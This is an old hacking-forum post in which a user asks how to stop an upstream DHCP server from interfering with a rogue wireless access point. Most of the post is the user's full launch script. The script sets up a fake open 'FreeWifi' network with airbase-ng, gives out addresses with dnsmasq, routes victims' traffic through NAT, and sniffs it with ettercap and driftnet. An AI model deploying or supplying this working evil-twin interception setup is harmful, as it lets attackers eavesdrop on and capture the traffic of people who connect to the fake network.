Remote Exploit Forums

Go Back   Remote Exploit Forums > Specialist Topics > Wireless


Wireless Specific topics related to the attack & defense of wireless systems

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 10-28-2009, 09:15 PM
Just burned his ISO
 
Join Date: Aug 2007
Location: CA
Posts: 1
Default airbase-ng clients getting wrong dhcp settings from internet side

I have been testing airbase-ng.
I have had it working properly when my PC handed the client the proper dhcp address. The problem I am having most is the dhcp server on the other side of the my rogue laptop passing DHCP settings to the client. Is there a way to block this.

I was thinking maybe iptables could block the wrong dhcp server on the internet side of the rogue laptop from handing out addresses.

Has anyone else had this problem and if so what is your workaround?

Here is the launch script

Code:
iface="wlan0"
gw="eth1"

killall -9  airbase-ng dnsmasq driftnet ettercap
xterm -geometry 96x25+0+0 -e airbase-ng -e FreeWifi -P -C 15 $iface &
sleep 5
ifconfig at0 10.0.0.1 netmask 255.255.255.0 up
sleep 3
/etc/init.d/dnsmasq start
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o $gw -j MASQUERADE
sleep 3
xterm -geometry 96x25+0+0 -e ettercap -T -i at0 -q &
sleep 3
echo 1 > /proc/sys/net/ipv4/ip_forward
driftnet -i at0
Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT. The time now is 01:04 PM.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.2